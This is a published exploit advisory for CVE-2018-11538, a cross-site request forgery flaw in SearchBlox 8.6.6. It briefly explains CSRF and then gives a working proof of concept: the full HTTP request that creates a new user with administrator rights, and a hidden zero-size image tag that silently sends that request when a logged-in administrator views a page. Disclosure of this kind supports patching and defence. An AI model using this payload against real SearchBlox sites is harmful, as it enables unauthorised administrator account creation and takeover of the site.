SearchBlox 8.6.6 Cross Site Request Forgery

`# Exploit Title: CSRF Privilege Escalation (Creation of an administrator  
account) on SearchBlox 8.6.6  
# Exploit Author: Canberk BOLAT, Ahmet GAREL  
# Software Link: https://www.searchblox.com/  
# Version: < = SearchBlox Version 8.6.6  
# Platform: Java  
# Tested on: Windows  
# CVE: CVE-2018-11538  
  
# 1. DETAILS  
  
Using Cross-Site Request Forgery (CSRF), an attacker can force a user who  
is currently authenticated with a web application to execute an unwanted  
action. The attacker can trick the user into loading a page which may send  
a request to perform the unwanted action in the background. In the case of  
Searchblox, we can use CSRF to perform actions on the admin dashboard by  
targeting an administrator.  
  
# 2. PoC:  
  
We assume that Searchblox is installed at http://localhost:8080/. Our  
target is /searchblox/servlet/UserServlet u_name, u_passwd1, u_passwd2 and  
role parameter which is the page used to create a new user. The given POC  
will create a user on the website which has full administrator privileges.  
  
HTTP Request:  
  
GET  
/searchblox/servlet/UserServlet?u_name=best1&u_passwd1=test&u_passwd2=test&role=admin&new-group=&menu1=adm&menu2=db&action=addBuisnessUser  
HTTP/1.1  
Host: localhost:8080  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0)  
Gecko/20100101 Firefox/59.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://localhost:8080/searchblox/admin/main.jsp?menu1=adm  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 0  
Cookie: JSESSIONID=touluja8tpjc1iiwquoyiigfi;  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
Attack Vector:  
  
<img src="  
http://target:8080/searchblox/servlet/UserServlet?u_name=best1&u_passwd1=test&u_passwd2=test&role=admin&new-group=&menu1=adm&menu2=db&action=addBuisnessUser"  
width="0" height="0">  
  
  
`